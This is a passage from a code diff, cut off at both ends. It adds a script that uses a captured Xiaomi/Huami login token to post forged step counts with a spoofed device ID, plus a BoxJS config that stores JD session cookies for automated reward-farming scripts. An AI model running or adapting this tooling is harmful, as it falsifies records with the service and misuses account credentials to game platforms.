gAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAA%22%2C%22tz%22%3A32%2C%22did%22%3A%22DA932FFFFE8816E7%22%2C%22src%22%3A24%7D%5D%2C%22summary%22%3A%22%7B%5C%22v%5C%22%3A6%2C%5C%22slp%5C%22%3A%7B%5C%22st%5C%22%3A1628296479%2C%5C%22ed%5C%22%3A1628296479%2C%5C%22dp%5C%22%3A0%2C%5C%22lt%5C%22%3A0%2C%5C%22wk%5C%22%3A0%2C%5C%22usrSt%5C%22%3A-1440%2C%5C%22usrEd%5C%22%3A-1440%2C%5C%22wc%5C%22%3A0%2C%5C%22is%5C%22%3A0%2C%5C%22lb%5C%22%3A0%2C%5C%22to%5C%22%3A0%2C%5C%22dt%5C%22%3A0%2C%5C%22rhr%5C%22%3A0%2C%5C%22ss%5C%22%3A0%7D%2C%5C%22stp%5C%22%3A%7B%5C%22ttl%5C%22%3A18272%2C%5C%22dis%5C%22%3A10627%2C%5C%22cal%5C%22%3A510%2C%5C%22wk%5C%22%3A41%2C%5C%22rn%5C%22%3A50%2C%5C%22runDist%5C%22%3A7654%2C%5C%22runCal%5C%22%3A397%2C%5C%22stage%5C%22%3A%5B%7B%5C%22start%5C%22%3A327%2C%5C%22stop%5C%22%3A341%2C%5C%22mode%5C%22%3A1%2C%5C%22dis%5C%22%3A481%2C%5C%22cal%5C%22%3A13%2C%5C%22step%5C%22%3A680%7D%2C%7B%5C%22start%5C%22%3A342%2C%5C%22stop%5C%22%3A367%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A2295%2C%5C%22cal%5C%22%3A95%2C%5C%22step%5C%22%3A2874%7D%2C%7B%5C%22start%5C%22%3A368%2C%5C%22stop%5C%22%3A377%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1592%2C%5C%22cal%5C%22%3A88%2C%5C%22step%5C%22%3A1664%7D%2C%7B%5C%22start%5C%22%3A378%2C%5C%22stop%5C%22%3A386%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1072%2C%5C%22cal%5C%22%3A51%2C%5C%22step%5C%22%3A1245%7D%2C%7B%5C%22start%5C%22%3A387%2C%5C%22stop%5C%22%3A393%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1036%2C%5C%22cal%5C%22%3A57%2C%5C%22step%5C%22%3A1124%7D%2C%7B%5C%22start%5C%22%3A394%2C%5C%22stop%5C%22%3A398%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A488%2C%5C%22cal%5C%22%3A19%2C%5C%22step%5C%22%3A607%7D%2C%7B%5C%22start%5C%22%3A399%2C%5C%22stop%5C%22%3A414%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A2220%2C%5C%22cal%5C%22%3A120%2C%5C%22step%5C%22%3A2371%7D%2C%7B%5C%22start%5C%22%3A415%2C%5C%22stop%5C%22%3A427%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1268%2C%5C%22cal%5C%22%3A59%2C%5C%22step%5C%22%3A1489%7D%2C%7B%5C%22start%5C%22%3A428%2C%5C%22stop%5C%22%3A433%2C%5C%22mode%5C%22%3A1%2C%5C%22dis%5C%22%3A152%2C%5C%22cal%5C%22%3A4%2C%5C%22step%5C%22%3A238%7D%2C%7B%5C%22start%5C%22%3A434%2C%5C%22stop%5C%22%3A444%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A2295%2C%5C%22cal%5C%22%3A95%2C%5C%22step%5C%22%3A2874%7D%2C%7B%5C%22start%5C%22%3A445%2C%5C%22stop%5C%22%3A455%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1592%2C%5C%22cal%5C%22%3A88%2C%5C%22step%5C%22%3A1664%7D%2C%7B%5C%22start%5C%22%3A456%2C%5C%22stop%5C%22%3A466%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1072%2C%5C%22cal%5C%22%3A51%2C%5C%22step%5C%22%3A1245%7D%2C%7B%5C%22start%5C%22%3A467%2C%5C%22stop%5C%22%3A477%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A1036%2C%5C%22cal%5C%22%3A57%2C%5C%22step%5C%22%3A1124%7D%2C%7B%5C%22start%5C%22%3A478%2C%5C%22stop%5C%22%3A488%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A488%2C%5C%22cal%5C%22%3A19%2C%5C%22step%5C%22%3A607%7D%2C%7B%5C%22start%5C%22%3A489%2C%5C%22stop%5C%22%3A499%2C%5C%22mode%5C%22%3A4%2C%5C%22dis%5C%22%3A2220%2C%5C%22cal%5C%22%3A120%2C%5C%22step%5C%22%3A2371%7D%2C%7B%5C%22start%5C%22%3A500%2C%5C%22stop%5C%22%3A511%2C%5C%22mode%5C%22%3A3%2C%5C%22dis%5C%22%3A1268%2C%5C%22cal%5C%22%3A59%2C%5C%22step%5C%22%3A1489%7D%2C%7B%5C%22start%5C%22%3A512%2C%5C%22stop%5C%22%3A522%2C%5C%22mode%5C%22%3A1%2C%5C%22dis%5C%22%3A152%2C%5C%22cal%5C%22%3A4%2C%5C%22step%5C%22%3A238%7D%5D%7D%2C%5C%22goal%5C%22%3A8000%2C%5C%22tz%5C%22%3A%5C%2228800%5C%22%7D%22%2C%22source%22%3A24%2C%22type%22%3A0%7D%5D"; +const headers = { + 'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 9; MI 6 MIUI/20.6.18)' +} +let login_token = ''; +//需要修改的运动步数波动范围,脚本默认修改步数范围为1w9到2w5 +const step = randomFriendPin($.getdata('xmMinStep') * 1 || 20000, $.getdata('xmMaxStep') * 1 || 25000); + +function getToken() { + if ($response.body) { + const body = JSON.parse($response.body); + const loginToken = body.token_info.login_token; + $.log(`${$.name}token\n${loginToken}\n`) + if ($.getdata('xmSportsToken')) { + $.msg($.name, '更新Token: 成功🎉', ``); + } else { + $.msg($.name, '获取Token: 成功🎉', ''); + } + $.setdata(loginToken, 'xmSportsToken'); + } + $.done({}) +} + +async function start() { + login_token = $.isNode() ? (process.env.XM_SPORT_TOKEN ? process.env.XM_SPORT_TOKEN : login_token) : ($.getdata('xmSportsToken') ? $.getdata('xmSportsToken') : login_token); + // console.log(`login_token:::${login_token}`) + if (login_token) { + await get_app_token(login_token); + // console.log(`$.tokenInfo${JSON.stringify($.tokenInfo)}`) + if ($.tokenInfo && $.tokenInfo.result === 'ok') { + const {app_token, user_id} = $.tokenInfo.token_info; + await get_time(); + await change_step(app_token, user_id); + if ($.changeStepRes && $.changeStepRes.code === 1) { + console.log(`步数修改成功:${step}步`); + $.msg($.name, `${step}步🏃修改成功`, `时间:${timeFormat(localtime())}‍`, {"open-url": "alipays://platformapi/startapp?appId=20000869"}) + } else { + console.log(`修改运动步数失败`) + } + } else { + $.msg($.name, '失败', `Token已失效,请重新获取`) + } + } else { + $.log('暂无Token') + $.log(`\n\n获取TOKEN方法:\nAPP Store下载小米运动APP\n登入小米运动(登录方式必须是手机号码+密码(没有就用手机号码注册),下面的第三方账号(小米账号,Apple,微信)授权登录不行)\n登录成功后在 我的->第三方接入->绑定支付宝,微信\n小米运动只要不退出登录,就会自动获取新的token,即永久有效`) + //$.msg($.name, `失败`, '暂无Token') + } + $.done() +} + +function change_step(app_token, user_id) { + const date = dataJSON.match(/.*?date%22%3A%22(.*?)%22%2C%22data.*?/)[1]; + const ttf = dataJSON.match(/.*?ttl%5C%22%3A(.*?)%2C%5C%22dis.*?/)[1]; + dataJSON = dataJSON.replace(date, timeFormat(localtime())); + dataJSON = dataJSON.replace(ttf, step.toString()); + console.log(timeFormat(localtime())) + return new Promise(resolve => { + const options = { + "url": `https://api-mifit-cn.huami.com/v1/data/band_data.json?&t=${$.t}`, + "body": `userid=${user_id.toString()}&last_sync_data_time=1597306380&device_type=0&last_deviceid=DA932FFFFE8816E7&data_json=${dataJSON}`, + "headers": { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "apptoken": app_token, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`修改步数结果:${data}`); + $.changeStepRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function get_app_token(login_token, headers) { + return new Promise(resolve => { + $.get({ + url: `https://account-cn.huami.com/v1/client/app_tokens?app_name=com.xiaomi.hm.health&dn=api-user.huami.com%2Capi-mifit.huami.com%2Capp-analytics.huami.com&login_token=${login_token}`, + headers + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(data) + if (data) { + $.tokenInfo = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function get_time() { + return new Promise(resolve => { + $.get({url: `http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(data) + if (data) { + data = JSON.parse(data); + $.t = data.data.t; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function localtime() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +//随机生成m(小)到n(大)的数,包含m和n +function randomFriendPin(m, n) { + return Math.round(Math.random() * (n - m) + m); +} + +isRequest ? getToken() : start(); + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/boxjs.json b/boxjs.json new file mode 100644 index 0000000000..f9f316301f --- /dev/null +++ b/boxjs.json @@ -0,0 +1,789 @@ +{ + "id": "app.sub", + "name": "脚本订阅", + "author": "", + "icon": "https://avatars0.githubusercontent.com/u/21308593?s=52&v=4", + "repo": "", + "apps": [ + { + "id": "JD_Cookies", + "name": "京东多账号 Ck 管理", + "keys": ["CookiesJD"], + "descs_html": [ + "请勿随意在输入框修改内容,建议通过脚本去获取cookie,若要修改,请按照JSON 格式修改(可使用此JSON校验 ,或点击右上角按钮🔘进行校验(如有弹窗提示则为异常JSON))。", + "示例:[{\"userName\":\"jd_xxx\",\"cookie\":\"pt_key=AAJ;pt_pin=jd_xxx;\"},{\"userName\":\"jd_66\",\"cookie\":\"pt_key=AAJ;pt_pin=jd_66;\"}]", + "使用方式【个人中心】获取对应的数据Code", + "注:如与NobyDa的京东cookie重复,建议在此处删除重复的cookie" + ], + "settings": [ + { + "id": "CookiesJD", + "name": "CK 列表", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "CK 列表 (JSON 格式)" + } + ], + "icons": [ + "https://raw.githubusercontent.com/Orz-3/mini/master/Alpha/jd.png", + "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png" + ], + "author": "", + "repo": "https://github.com/dompling/Script", + "script": "" + }, + { + "id": "JD_UA", + "name": "自定义京东脚本的UserAgent", + "keys": [ + "JDUA" + ], + "descs_html": [ + "自行抓包京东APP获得,UserAgent类似下面:", + "jdapp;iPhone;9.3.0;14.2;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + ], + "settings": [ + { + "id": "JDUA", + "name": "自定义京东脚本的UserAgent", + "val": "", + "type": "text", + "desc": "不懂不知不会UserAgent的请不要随意填写内容,如需填写使用建议使用京东APP的UserAgent" + } + ], + "author": "", + "repo": "", + "icons": [ + "https://raw.githubusercontent.com/Orz-3/mini/master/Alpha/jd.png", + "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png" + ] + }, + { + "id": "JS_UA", + "name": "自定义京东极速版脚本的UserAgent", + "keys": [ + "JS_UA" + ], + "descs_html": [ + "自行抓包京东极速版APP获得,UserAgent类似下面:", + "jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + ], + "settings": [ + { + "id": "JS_UA", + "name": "自定义京东极速版脚本的UserAgent", + "val": "", + "type": "text", + "desc": "不懂不知不会UserAgent的请不要随意填写内容,如需填写使用建议使用京东APP的UserAgent" + } + ], + "author": "", + "repo": "", + "icons": [ + "https://raw.githubusercontent.com/Orz-3/mini/master/Alpha/jd.png", + "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png" + ] + }, + { + "id": "jd_fruit", + "name": "东东农场", + "keys": ["jd_fruit_inviter"], + "descs_html": [ + "请在输入框输入跟你互助的东东农场的好友互助码", + "同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开。例:
账号1-好友1邀请码@账号1邀请码-好友2邀请码

账号2-好友1邀请码@账号2-好友2邀请码", + "下方输入框给出一个示例,自己使用时删除示例邀请码然后按示例填写(只填邀请码)即可" + ], + "settings": [ + { + "id": "jdFruitNotify", + "name": "静默运行", + "val": false, + "type": "boolean", + "desc": "运行东东农场脚本时不发出系统通知" + }, + { + "id": "jdFruitBeanCard", + "name": "使用水滴换豆卡", + "val": false, + "type": "boolean", + "desc": "使用水滴换豆卡(如果出现限时活动是100g水换20豆,此时比浇水划算,推荐换豆)" + }, + { + "id": "jd_fruit_inviter", + "name": "东东农场好友邀请码 列表", + "val": "", + "placeholder": "账号1的好友1邀请码@账号1的好友2邀请码\n\n账号2的好友1邀请码@账号2的好友2邀请码", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "好友邀请码,同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdnc_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png" + ] + }, + { + "id": "jd_pet", + "name": "东东萌宠", + "keys": ["jd_pet_inviter"], + "descs_html": [ + "请在输入框输入跟你互助的东东萌宠的好友互助码", + "同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开。例:
账号1-好友1邀请码@账号1邀请码-好友2邀请码

账号2-好友1邀请码@账号2-好友2邀请码", + "下方输入框给出一个示例,自己使用时删除示例邀请码然后按示例填写(只填邀请码)即可" + ], + "settings": [ + { + "id": "jdPetNotify", + "name": "静默运行", + "val": false, + "type": "boolean", + "desc": "运行东东萌宠脚本时不发出系统通知" + }, + { + "id": "jd_pet_inviter", + "name": "东东萌宠好友邀请码 列表", + "val": "", + "placeholder": "账号1的好友1邀请码@账号1的好友2邀请码\n\n账号2的好友1邀请码@账号2的好友2邀请码", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "好友邀请码,同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdmc_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png" + ] + }, + { + "id": "jd_plantBean", + "name": "京东种豆", + "keys": ["jd_plantbean_inviter"], + "descs_html": [ + "请在输入框输入跟你互助的京东种豆得豆的好友互助码", + "同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开。例:
账号1-好友1邀请码@账号1邀请码-好友2邀请码

账号2-好友1邀请码@账号2-好友2邀请码", + "下方输入框给出一个示例,自己使用时删除示例邀请码然后按示例填写(只填邀请码)即可" + ], + "settings": [ + { + "id": "jdPlantBeanNotify", + "name": "静默运行", + "val": true, + "type": "boolean", + "desc": "运行种豆脚本时不发出系统通知" + }, + { + "id": "jd_plantbean_inviter", + "name": "京东种豆好友邀请码 列表", + "val": "", + "placeholder": "账号1的好友1邀请码@账号1的好友2邀请码\n\n账号2的好友1邀请码@账号2的好友2邀请码", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "好友邀请码,同一个京东账号的好友邀请码用@隔开,不同京东账号互助码用换行(return按键)隔开" + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdzd_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png" + ] + }, + { + "id": "jd_Joy", + "name": "宠汪汪", + "keys": [], + "settings": [ + { + "id": "jdJoyNotify", + "name": "静默运行", + "val": true, + "type": "boolean", + "desc": "运行宠汪汪(jd_joy.js)脚本时不发出系统弹窗通知" + }, + { + "id": "jdJoyStealNotify", + "name": "静默运行", + "val": false, + "type": "boolean", + "desc": "运行宠汪汪(jd_joy_steal.js)脚本时不发出系统弹窗通知" + }, + { + "id": "joyFeedCount", + "name": "每次喂养数量(默认10g)", + "val": "10", + "type": "radios", + "desc": "每次喂养狗粮克数(默认10g)", + "items": [ + { + "key": "0", + "label": "不喂食" + }, + { + "key": "10", + "label": "消耗10g" + }, + { + "key": "20", + "label": "消耗20g" + }, + { + "key": "40", + "label": "消耗40g" + }, + { + "key": "80", + "label": "消耗80g" + } + ] + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdcww_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png" + ] + }, + { + "id": "jd_Joy_Reward", + "name": "宠汪汪积分兑换京豆", + "keys": [], + "settings": [ + { + "id": "jdJoyRewardNotify", + "name": "静默运行", + "val": false, + "type": "boolean", + "desc": "开启后成功兑换到京豆也不发出系统弹窗通知" + }, + { + "id": "joyRewardName", + "name": "是否兑换京豆", + "val": "1", + "type": "radios", + "desc": "默认开启兑换,如不想兑换可选择不兑换", + "items": [ + { + "key": "0", + "label": "不兑换奖品(选择此项将不兑换奖品)" + }, + { + "key": "1", + "label": "兑换20京豆" + }, + { + "key": "500", + "label": "兑换500京豆" + }, + { + "key": "1000", + "label": "兑换1000京豆" + } + ] + } + ], + "author": "", + "repo": "", + "script": "", + "icons": [ + "https://raw.githubusercontent.com/58xinian/icon/master/jdcww_mini.png", + "https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png" + ] + }, + { + "id": "jd_Joy_Run", + "name": "宠汪汪邀请助力与赛跑助力", + "keys": [ + "jdJoyRunToken", + "jd_joy_run_name", + "jd_joy_invite_pin", + "jd_joy_run_pin", + "jd2_joy_run_name", + "jd2_joy_invite_pin", + "jd2_joy_run_pin" + ], + "desc": "宠汪汪的互助码friendPin是京东用户名,不是昵称(可在京东APP->我的->设置查看)。互助码之间用英文逗号隔开,下面给出具体示例,使用时可自行清空重新按格式填写你自己的", + "settings": [ + { + "id": "joyRunFlag", + "name": "是否参加赛跑(默认参加)", + "val": true, + "type": "boolean", + "desc": "开启脚本将会为您自动参加赛跑(默认参加双人赛跑)" + }, + { + "id": "JOY_TEAM_LEVEL", + "name": "宠汪汪赛跑级别选择", + "val": "2", + "type": "text", + "desc": "参加多少人的赛跑比赛,其中2代表参加双人PK赛,10代表参加10人突围赛,50代表参加50人挑战赛,多账号参加不同级别的赛跑用&符号隔开,例如2&10&50" + }, + { + "id": "joyRunNotify", + "name": "宠汪汪赛跑获胜是否通知", + "val": true, + "type": "boolean", + "desc": "宠汪汪赛跑获胜是否通知,默认通知" + }, + { + "id": "jd_joy_run_name", + "name": "京东账号一昵称", + "val": "", + "type": "text", + "desc": 